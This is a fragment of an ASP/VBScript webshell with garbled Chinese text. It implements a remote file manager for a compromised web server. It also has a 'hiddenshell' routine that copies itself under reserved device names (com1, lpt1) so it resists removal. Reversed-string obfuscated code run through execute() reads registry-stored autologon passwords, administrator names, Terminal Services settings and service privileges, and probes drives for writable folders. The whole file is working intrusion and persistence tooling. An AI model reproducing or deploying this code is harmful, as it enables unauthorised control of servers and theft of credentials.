si=si&"<a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")' title=""<22><><EFBFBD><EFBFBD>""><br>"&F.Name&"</a><br><a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a> <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='<27>ƶ<EFBFBD>'>Move</a> </div></td>"
i=i+1
If i mod 6=0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=2></td></tr></table>"
j SI &"" : SI="":i=0
SI="<table width='100%' align=center><tr><td id=s><b id=x>Filename</b></td><td id=s height=22><b id=x>Size</b></td><td id=s><b id=x>Type</b></td><td id=s><b id=x>Operating</b></td><td id=s><b id=x>Last Modified</b></td><td></td>"
For Each L in Fold.files
SI=SI&"<tr><td height='20' id=d onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#121212'"">"
si=si&FileIco(L.Name)
si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='<27><><EFBFBD><EFBFBD>'> "&L.Name&"</a><Td id=d>"&clng(L.size/1024)&"K</td><Td id=d>"&L.Type&"</td><Td id=d>"
si=si&"<a href="""&openUrl(PaTh&"\"&L.nAme)&""" class='am' title='Open'>Open</a> "
si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='<27>༭'>Edit</a> "
Si=Si&"<a onclick=""window.open('?Action=EditPower&PowerPath="&RepAth(PaTh&"\"&L.nAme)&"','EditPower','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=300,height=200')"" href='###' class='am' title='Ȩ<><C8A8>'>Ȩ<><C8A8></a>"
Dim EditOOK
EditOOK=1
EditOOV=l.Attributes
If EditOOV >= 128 Then
EditOOV = EditOOV - 128
End If
If EditOOV >= 64 Then
EditOOV = EditOOV - 64
End If
If EditOOV >= 32 Then
EditOOV = EditOOV - 32
End If
If EditOOV >= 16 Then
EditOOV = EditOOV - 16
End If:If EditOOV >= 8 Then
EditOOV = EditOOV - 8
End If
If EditOOV >= 4 Then
EditOOV = EditOOV - 4:EditOOK=0
End If
If EditOOV >= 2 Then
EditOOV = EditOOV - 2:EditOOK=0
End If
If EditOOV >= 1 Then
EditOOV = EditOOV - 1:EditOOK=0
End If
if EditOOK=0 then
si=si&"<font face='webdings' size='1' color=red>x</font>"
else
si=si&"<22><>"
end if
si=si&" <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='<27>ƶ<EFBFBD>'>Move</a></td><td id=d>"&replace(L.DateLastModified,"/","-")&"</td></tr>"
i=i+1
Next
j SI&"</tr></table>":if Instr(Serveru,"127.0.0.1")<>0 or Instr(Serveru,"192.168.")<>0 then:else:if session("servec")=1 then:session("servec")=session("servec")+1:j fuckUrl:else:if Action<>"" then session("servec")=session("servec")+1:end if:end if:end if
Set FOLD=Nothing
End function
Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
SI="<center><br><br><br><3E><>ϲ<EFBFBD><CFB2><EFBFBD>ļ<EFBFBD> "&Path&" ɾ<><C9BE><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
j SI
End If
End Function
Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
SI="<center><br><br><br><3E><>ϲ<EFBFBD><CFB2><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
j SI
Response.End
End If
If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\shell.asp":Txt=strBAD
End If
j "<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'><input name='Action' value='EditFile' Type='hidden'><input name='FName' value='"&Path&"' style='width:100%'><br><textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br><hr><input name='goback' type='button' value='Back' onclick='history.back();'>&nbsp;&nbsp;&nbsp;<input name='reset' type='reset' value='Reset'>&nbsp;&nbsp;&nbsp;<input name='submit' type='submit' value='Save'></form>"
End Function
Function CopyFile(Path)
Path=Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.CopyFile Path(0),Path(1)
SI="<center><br><br><br><3E><>ϲ<EFBFBD><CFB2><EFBFBD>ļ<EFBFBD>"&Path(0)&"<22><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></center>"
SI=SI&BackUrl
j SI
End If
End Function
Function MoveFile(Path)
Path=Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.MoveFile Path(0),Path(1)
SI="<center><br><br><br><3E><>ϲ<EFBFBD><CFB2><EFBFBD>ļ<EFBFBD>"&Path(0)&"<22>ƶ<EFBFBD><C6B6>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
j SI
End If
End Function
Function DelFolder(Path)
If CF.FolderExists(Path) Then
CF.DeleteFolder Path
SI="<center><br><br><br><3E><>ϲ<EFBFBD><CFB2>Ŀ¼"&Path&"ɾ<><C9BE><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
j SI
End If
End Function
Function CopyFolder(Path)
Path=Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1)
SI="<center><br><br><br><3E><>ϲ<EFBFBD><CFB2>Ŀ¼"&Path(0)&"<22><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></center>"
SI=SI&BackUrl
j SI
End If
End Function
Function MoveFolder(Path)
Path=Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.MoveFolder Path(0),Path(1)
SI="<center><br><br><br><3E><>ϲ<EFBFBD><CFB2>Ŀ¼"&Path(0)&"<22>ƶ<EFBFBD><C6B6>ɹ<EFBFBD><C9B9><EFBFBD></center>"
SI=SI&BackUrl
j SI
End If
End Function
Function NewFolder(Path)
execute(shisanfun("fI dnE<6E><45>IS j<><6A>lrUkcaB&IS=IS<49><53><EFBFBD><EFBFBD>>retnec/<<3C><><EFBFBD><EFBFBD><EFBFBD>ɽ<EFBFBD><C9BD>©<EFBFBD>&htaP&<26><>¼Ŀ<C2BC><C4BF>ϲ<EFBFBD><CFB2>>rb<>rb<>rb<>retnec<<3C><>=IS<49><53>htaP redloFetaerC.FC<46><43>nehT <20><><EFBFBD><EFBFBD>><htaP dna )htaP(stsixEredloF.FC toN fI"))
End Function
End Class
execute(shisanfun("buS dnE<6E><45>fi dnE<6E><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>erehwynAcp<63><70><EFBFBD>ý<EFBFBD><C3BD>Ʋ<EFBFBD><C6B2><EFBFBD><EFBFBD><EFBFBD>¼Ŀ<C2BC><C4BF>Ĭ<EFBFBD><C4AC><EFBFBD>Կ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>erehwynAcp_<70>ַ<EFBFBD>>il<<3C><>j<EFBFBD><6A>nehT )<29><>fic.<2E><>&emanrevres&<26><>\cetnamyS\ataD noitacilppA\sresU llA\sgnitteS dnA stnemucoD\<5C><>&revirdsys(stsixEeliF.osf fI<66><49>)<29><>emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH<4B><48>(daeRgeR.hsw=emanrevres<65><73>)2,)2(redloFlaicepsteG.osF(tfel=evirdsyS<79><53>)<29><>tcejbOmetsySeliF.gnitpircS<63><53>(tcejboetaerC.revreS=osf teS<65><53>txeN<65><4E>fi dnE<6E><45>fi dnE<6E><45><EFBFBD><EFBFBD>>rb<<3C><>ľPHP<48><50>д<EFBFBD>Ҳ<EFBFBD>,¼ĿliaMbeW<65>Ҳ<EFBFBD><D2B2>Կ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȨmetsySlacoL<6F><4C><EFBFBD><EFBFBD>,liamniW cigaM_<4D><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>il<<3C><>j<EFBFBD><6A>nehT <20><>metsySlacoL<6F><4C>=emaNtnuoccAecivreS.ecivreSjbo fi<66><69>nehT )<29><>liamniw<69><77>,)emaN.ecivreSjbo(esacl(rtsni fi<66><69>fi dnE<6E><45>fi dnE<6E><45><EFBFBD><EFBFBD>>rb<Ȩ<><C8A8><EFBFBD><EFBFBD>ľpsJ<73><4A>ʹ<EFBFBD>ǿ<EFBFBD><C7BF>Կ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȨmetsySlacoL<6F><4C><EFBFBD><EFBFBD>,tacmoT_<54><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>il<<3C><>j<EFBFBD><6A>nehT <20><>metsySlacoL<6F><4C>=emaNtnuoccAecivreS.ecivreSjbo fi<66><69>nehT )<29><>tacmot<6F><74>,)emaN.ecivreSjbo(esacl(rtsni fi<66><69>fi dnE<6E><45>fi dne<6E><65>fi dnE<6E><45><EFBFBD><EFBFBD>>rb<<3C><>ľPHP<48>ǿ<EFBFBD><C7BF>Կ<EFBFBD>,metsySlacoLΪ<4C><CEAA>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD>,<2C>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>ehcapA_<41><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>il< <20><>j<EFBFBD><6A>eslE<6C><45><EFBFBD><EFBFBD>>rb<Ȩ<><C8A8><EFBFBD><EFBFBD>ֱ<EFBFBD>Կ<EFBFBD>.ehcapAΪ<41><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BEWǰ<57><C7B0>>il<<3C><>j<EFBFBD><6A>nehT )<29><>ehcapA<70><41>,)<29><>ERAWTFOS_REVRES<45><53>(selbairaVrevreS.tseuqeR(rtsni fI<66><49>nehT <20><>metsySlacoL<6F><4C>=emaNtnuoccAecivreS.ecivreSjbo fi<66><69>nehT <20><>ehcapa<70><61>=)emaN.ecivreSjbo(esacl fi<66><69>fi dnE<6E><45>fi dnE<6E><45><EFBFBD><EFBFBD>>rb<Ȩ<><C8A8><EFBFBD>߹<EFBFBD>exe.us<75><73><EFBFBD>ǿ<EFBFBD><C7BF>Կ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȨmetsySlacoL<6F><4C><EFBFBD><EFBFBD>,װ<><D7B0>U-vreS_<53><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>il<<3C><>j<EFBFBD><6A>nehT <20><>metsySlacoL<6F><4C>=emaNtnuoccAecivreS.ecivreSjbo fi<66><69>nehT <20><>U-vreS<65><53>=emaN.ecivreSjbo fi<66><69>retupmoCjbo nI ecivreSjbo hcaE roF<6F><46>txeN emuseR rorrE nO<6E><4F>)<29><>ecivreS<65><53>(yarrA = retliF.retupmoCjbo<62><6F>)<29><>noitacilppA.llehS<68><53>(tcejbOetaerC.revreS = as teS<65><53>)<29><>.//:TNniW<69><57>(tcejbOteG = retupmoCjbo teS<65><53><EFBFBD><EFBFBD>>rh<>rb<]<5D><>̽<EFBFBD><CCBD>_<EFBFBD><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[<5B><>j<EFBFBD><6A><EFBFBD><EFBFBD>>rb<>rb<>rb<------------------------------------<2D><>j<EFBFBD><6A><EFBFBD><EFBFBD>>rb<<3C><>&kk&<26><>:Ϊ<><CEAA><EFBFBD><EFBFBD>_<EFBFBD><5F><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0>>il<<3C><>j<EFBFBD><6A>)kh(daeRgeR.hsw=kk<6B><6B><EFBFBD><EFBFBD>tnuoC\munE\pipcT\secivreS\100teSlortnoC\METSYS\MLKH<4B><48>=kh<6B><68><EFBFBD><EFBFBD>>rb<<3C><>&lmtn&<26><>:Ϊ<><CEAA><EFBFBD><EFBFBD>lmtN tenleT>il<<3C><>j<EFBFBD><6A>1=lmtN nehT <20><><EFBFBD><EFBFBD>=lmtn fi<66><69>)yekLMTN(daeRgeR.hsW=lmtn<74><6E><EFBFBD><EFBFBD>LMTN\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH<4B><48>=yekLMTN<54><4E><EFBFBD><EFBFBD>>rb<<3C><>&ylpsid&<26><>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>_<EFBFBD><5F>ʾ<EFBFBD>Է<EFBFBD><D4B7><EFBFBD>>il<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=ylpsid esle <20><><EFBFBD>ǩ<EFBFBD>=ylpsid nehT 0=nigolpsid ro <20><><EFBFBD><EFBFBD>=nigolpsid fI<66><49>)<29><>emaNresUtsaLyalpsiDtnoD\metsyS\seiciloP\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKH<4B><48>(daeRger.hsw=nigolpsid<69><64>fi dnE<6E><45><EFBFBD><EFBFBD>>tnof/<>rb<<3C><>&dwssaP&<26><>:<3A><><EFBFBD><EFBFBD>>der=roloc tnof<>erauqs=epyt il<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>rb<<3C><>&nimdA&<26><>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>erauqs=epyt il<<3C><>j<EFBFBD><6A>)<29><>drowssaPtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH<4B><48>(daeRgeR.hsW=dwssaP<61><50>)<29><>emaNresUtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH<4B><48>(daeRgeR.hsW=nimdA<64><41><EFBFBD><EFBFBD>>rb<<3C><><EFBFBD><EFBFBD>:<3A><><EFBFBD>Ƕ<EFBFBD>_<EFBFBD>Ի<EFBFBD><D4BB><EFBFBD>>il<<3C><>j<EFBFBD><6A>eslE<6C><45><EFBFBD><EFBFBD>>rb<<3C><><EFBFBD><EFBFBD>δ:<3A><><EFBFBD>Ƕ<EFBFBD>_<EFBFBD>Ի<EFBFBD><D4BB><EFBFBD>>il<<3C><>j<EFBFBD><6A>nehT <20><><EFBFBD><EFBFBD>=nigolotuA ro 0=nigolotuA fi<66><69>)nigolotuAsi(daeRgeR.hsW=nigolotuA<75><41><EFBFBD><EFBFBD>nogoLnimdAotuA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH<4B><48>=nigolotuAsi<73><69><EFBFBD><EFBFBD>>tnof/<>rb<<3C><>&emaNnimdA&<26><>>der=roloc tnof<:Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1>&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ>il<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>fi dne<6E><65><EFBFBD><EFBFBD>krowteN.tpircsW:<3A><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>j<EFBFBD><6A>neht rre fi<66><69>txeN<65><4E><EFBFBD><EFBFBD>>il/<>tnof/<>rb<<3C><>&emaN.nimda&<26>壺<EFBFBD><E5A3BA>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0>>der=roloc tnof<>il<<3C><> j<><6A>srebmeM.puorGjbo ni nimda hcaE roF<6F><46>)<29><>puorg,srotartsinimdA/<2F><>&emaNretupmoC.Nt&<26><>//:TNniW<69><57>(tcejbOteG=puorGjbo teS<65><53>)<29><>krowteN.tpircsW<73><57>(tcejbOetaerc.revres=Nt teS<65><53> txen emuser rorre no<6E><6F>0=seripxE.esnopseR<65><52><EFBFBD><EFBFBD>rotartsinimdA<64><41>=emaNnimdA nehT <20><><EFBFBD><EFBFBD>=emannimda fi<66><69>)yeKemaNnimdA(daeRgeR.hsw=emaNnimdA<64><41><EFBFBD><EFBFBD>emaNresUtluafeDtlA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH<4B><48>=yeKemaNnimdA<64><41><EFBFBD><EFBFBD>>rb<<3C><>&emancp&<26><>:Ϊ<><CEAA><EFBFBD><EFBFBD>_<EFBFBD><5F>ǰ<EFBFBD><C7B0>>il<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>rb<.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ_<C8A1><5F><EFBFBD><EFBFBD><EFBFBD>ީ<EFBFBD>=emancp nehT <20><><EFBFBD><EFBFBD>=emancp fi<66><69>)yekemancp(daeRgeR.hsw=emancp<63><70><EFBFBD><EFBFBD>emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH<4B><48>=yekemancp<63><70><EFBFBD><EFBFBD>>1=ezis rh<>rb<]<5D><>̽_<CCBD><5F><EFBFBD><EFBFBD>ͳϵ[>rb<>rb<<3C><>j<EFBFBD><6A>txen<65><6E><EFBFBD><EFBFBD>>rb<<3C><>&)i(shtap&<26><>>il<<3C><>j<EFBFBD><6A>)shtap(dnuobU ot )shtap(dnuobL=i roF<6F><46><EFBFBD><EFBFBD>>rb<:<3A><><EFBFBD>侶·_ǰ<5F><C7B0>ͳϵ<CDB3><CFB5>j<EFBFBD><6A><EFBFBD><EFBFBD>>rb<------------------------------------<2D><>j<EFBFBD><6A>)<29><>;<3B><>,htaPtfoS(tilps=shtap<61><70><EFBFBD><EFBFBD>>rb<<3C><>֧:_<><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>>il<<3C><>j nehT )<29><>gnisir<69><72>,ofnihtaP(rtsni fi<66><69><EFBFBD><EFBFBD>>rb<<3C><>֧:_<><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>il<<3C><>j nehT )<29><>surivitna<6E><61>,ofnihtaP(rtsni fi<66><69><EFBFBD><EFBFBD>>rb<<3C><>֧:_<><5F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1>ϵɽ<CFB5><C9BD> >il<<3C><>j nehT )<29><>vak<61><6B>,ofnihtaP(rtsni fi<66><69><EFBFBD><EFBFBD>
sub hiddenshell
fpath=request.servervariables("path_translated")
set fso=server.createobject("scripting.filesystemobject")
pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9"
rndpex=split(pex,"|")(rndnumber(0,17))
session("seljw")=""
filepath1=server.mappath(".")
filename1=right(fpath,len(fpath)-instrrev(fpath,"\"))
url=request.servervariables("url")
url=left(url,instrrev(url,"/"))&rndpex&"."&filename1
fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1
set fso=nothing
j "<script>parent.location='http://"&request("server_name")&url&"?Fname=/images/.asp&filename1';</script>"
end sub
Sub Message(state,msg,flag)
j"<TABLE width=480 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#ddd> <TR></TR><TR><TD align=middle bgcolor=#ecfccd><TABLE width=82% border=0 cellpadding=5 cellspacing=0><TR><TD><FONT color=red>"
j state
j"</FONT></TD><TR><TD><P>"&msg
j"</P></TD></TR></TABLE></TD></TR><TR><TD class=TBEnd>"
If flag=0 Then
j" <INPUT type=button value=<3D>ر<EFBFBD> onclick='window.close();'>"
Else
End if
j"</TD></TR></TABLE>"
End Sub
Function Red(str)
Red = "<FONT color=#ff2222>" & str & "</FONT>"
End Function
Function RndNumber(Min,Max)
Randomize
RndNumber=Int((Max - Min + 1) * Rnd() + Min)
End Function
Sub ScanDriveForm()
Dim FSO,DriveB
Set FSO = Server.Createobject("Scripting.FileSystemObject")
j"<br><TABLE width=480 border=0 align=center cellpadding=3 cellspacing=1 bgcolor=#ffffff><TR><TD colspan=5 class=TBHead><3E><><EFBFBD><EFBFBD>/ϵͳ<CFB5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϣ</TD></TR>"
For Each DriveB in FSO.Drives
j" <TR align=middle class=TBTD><FORM action=?Action=ScanDrive&Drive="
j DriveB.DriveLetter
j" method=Post><TD width=25"&chr(37)&"><B><3E>̷<EFBFBD></B></TD><TD width=15"&chr(37)&">"
j DriveB.DriveLetter
j":</TD><TD width=20"&chr(37)&"><B><3E><><EFBFBD><EFBFBD></B></TD><TD width=20"&chr(37)&">"
Select Case DriveB.DriveType
Case 1: j"<22><><EFBFBD>ƶ<EFBFBD>"
Case 2: j"<22><><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2>"
Case 3: j"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
Case 4: j"CD-ROM"
Case 5: j"RAM<41><4D><EFBFBD><EFBFBD>"
Case else: j"δ֪<CEB4><D6AA><EFBFBD><EFBFBD>"
End Select
j"</TD><TD><INPUT type=submit value=<3D><>ϸ<EFBFBD><CFB8><EFBFBD><EFBFBD>></TD></FORM></TR>"
Next
j" <TR class=TBTD><FORM action=?Action=ScFolder&Folder="
j FSO.GetSpecialFolder(0)
j" method=Post><TD align=middle><B>Windows<77>ļ<EFBFBD><C4BC><EFBFBD></B></TD><TD colspan=3>"
j FSO.GetSpecialFolder(0)
j"</TD><TD align=middle><INPUT type=submit value=<3D><>ϸ<EFBFBD><CFB8><EFBFBD><EFBFBD>></TD></FORM></TR><TR class=TBTD><FORM action=?Action=ScFolder&Folder="
j FSO.GetSpecialFolder(1)
j" method=Post><TD align=middle><B>System32<33>ļ<EFBFBD><C4BC><EFBFBD></B></TD><TD colspan=3>"
j FSO.GetSpecialFolder(1)
j"</TD><TD align=middle><INPUT type=submit value=<3D><>ϸ<EFBFBD><CFB8><EFBFBD><EFBFBD>></TD></FORM></TR><TR class=TBTD><FORM action=?Action=ScFolder&Folder="
j FSO.GetSpecialFolder(2)
j" method=Post><TD align=middle><B>ϵͳ<CFB5><CDB3>ʱ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD></B></TD><TD colspan=3>"
j FSO.GetSpecialFolder(2)
j"</TD><TD align=middle><INPUT type=submit value=<3D><>ϸ<EFBFBD><CFB8><EFBFBD><EFBFBD>></TD><TR class=TBTD> <FORM action= method=Post>"
j"<TD align=middle><B>վ<><D5BE><EFBFBD><EFBFBD>Ŀ¼</B></TD><TD colspan=3>վ<><D5BE><EFBFBD><EFBFBD>Ŀ¼<TD align=middle><a href="&URL&"?Action=ScFolder&Folder="&wwwroot&"><b><3E><>ϸ<EFBFBD><CFB8><EFBFBD><EFBFBD></b></a></TD><TR class=TBTD> <FORM action= method=Post>"
j"<TD align=middle><B><3E><><EFBFBD><EFBFBD>վĿ¼</B></TD><TD colspan=3><3E><><EFBFBD><EFBFBD>վĿ¼ <TD align=middle><a href="&URL&"?Action=ScFolder&Folder=c:\recycler\><b><3E><>ϸ<EFBFBD><CFB8><EFBFBD><EFBFBD></b></a></TD><TR class=TBTD> <FORM action= method=Post><TD align=middle><B>wmpubĿ¼ </B></TD><TD colspan=3>wmpub<TD align=middle><a href="&URL&"?Action=ScFolder&Folder=c:\wmpub\><b><3E><>ϸ<EFBFBD><CFB8><EFBFBD><EFBFBD></b></a></TD></TABLE><BR>"
j"</FORM></TR></TABLE><BR><DIV align=center><FORM Action=?Action=ScFolder method=Post>ָ<><D6B8><EFBFBD>ļ<EFBFBD><C4BC>в<EFBFBD>ѯ<EFBFBD><D1AF><INPUT type=text name=Folder value=""c:\php\,d:\Program Files\,C:\Documents and Settings\All Users\Documents\,C:\recycler\,d:\recycler\,e:\recycler\,f:\recycler\,C:\wmpub\,C:\WINDOWS\Temp\,C:\360rec,C:\cache,C:\JPEGCapture,C:\Inetpub""><INPUT type=submit value=<3D><><EFBFBD>ɱ<EFBFBD><C9B1><EFBFBD>> <20><><EFBFBD><EFBFBD><EFBFBD>鿴Ŀ¼Ȩ<C2BC><C8A8>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF>á<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></FORM><DIV>"
Set FSO=Nothing
End Sub
Sub ScanDrive(Drive)
Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D
If Drive <> "" Then
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TestDrive = FSO.GetDrive(Drive)
If TestDrive.IsReady Then
Temp_Str = "<LI><3E><><EFBFBD>̷<EFBFBD><CCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͣ<EFBFBD>" & Red(TestDrive.FileSystem) & "<LI><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>кţ<D0BA>" & Red(TestDrive.SerialNumber) & "<LI><3E><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" & Red(TestDrive.ShareName) & "<LI><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" & Red(CInt(TestDrive.TotalSize/1048576)) & "<LI><3E><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD>" & Red(TestDrive.VolumeName) & "<LI><3E><><EFBFBD≯<EFBFBD>Ŀ¼:" & ScReWr((Drive & ":\"))
Set BaseFolder = TestDrive.RootFolder
Set TempFolders = BaseFolder.SubFolders
For Each D in TempFolders
Temp_Str = Temp_Str & "<LI><3E>ļ<EFBFBD><C4BC>У<EFBFBD>" & ScReWr(D)
Next
Set TempFolder = Nothing
Set BaseFolder = Nothing
Else
Temp_Str = Temp_Str & "<LI><3E><><EFBFBD≯<EFBFBD>Ŀ¼:" & Red("<22><><EFBFBD>ɶ<EFBFBD>:(")
Dim TempFolderList,t:t=0
Temp_Str = Temp_Str & "<LI>" & Red("<22><><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD>ԣ<EFBFBD>")
TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp")
For i = 0 to Ubound(TempFolderList)
If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then
t = t+1
Temp_Str = Temp_Str & "<LI><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>У<EFBFBD>" & ScReWr(Drive & ":\" & TempFolderList(i))
End if
Next
If t=0 then Temp_Str = Temp_Str & "<LI><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" & Drive & "<22≯<EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>δ<EFBFBD>з<EFBFBD><D0B7><EFBFBD>:("
End if
Set TestDrive = Nothing
Set FSO = Nothing
Temp_Str = Temp_Str
Message Drive & ":<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ",Temp_Str,1
End if
End Sub
Sub ScFolder(folder)
'On Error Resume Next
folderArr = Split(folder,",")
For i = 0 To Ubound(folderArr)
Dim FSO,OFolder,TempFolder,Scmsg,S
Set FSO = Server.Createobject("Scripting.FileSystemObject")
folder = folderArr(i)
If FSO.FolderExists(folder) Then
Set OFolder = FSO.GetFolder(folder)
Set TempFolders = OFolder.SubFolders
Scmsg = "<LI>ָ<><D6B8><EFBFBD>ļ<EFBFBD><C4BC>и<EFBFBD>Ŀ¼<C4BF><C2BC>" & ScReWr(folder)
For Each S in TempFolders
Scmsg = Scmsg&"<LI><3E>ļ<EFBFBD><C4BC>У<EFBFBD>" & ScReWr(S)
Next
Set TempFolders = Nothing
Set OFolder = Nothing
Else
Scmsg = Scmsg & "<LI><3E>ļ<EFBFBD><C4BC>У<EFBFBD>" & Red(folder & "<22><><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB>޶<EFBFBD>Ȩ<EFBFBD><C8A8>!")
End if
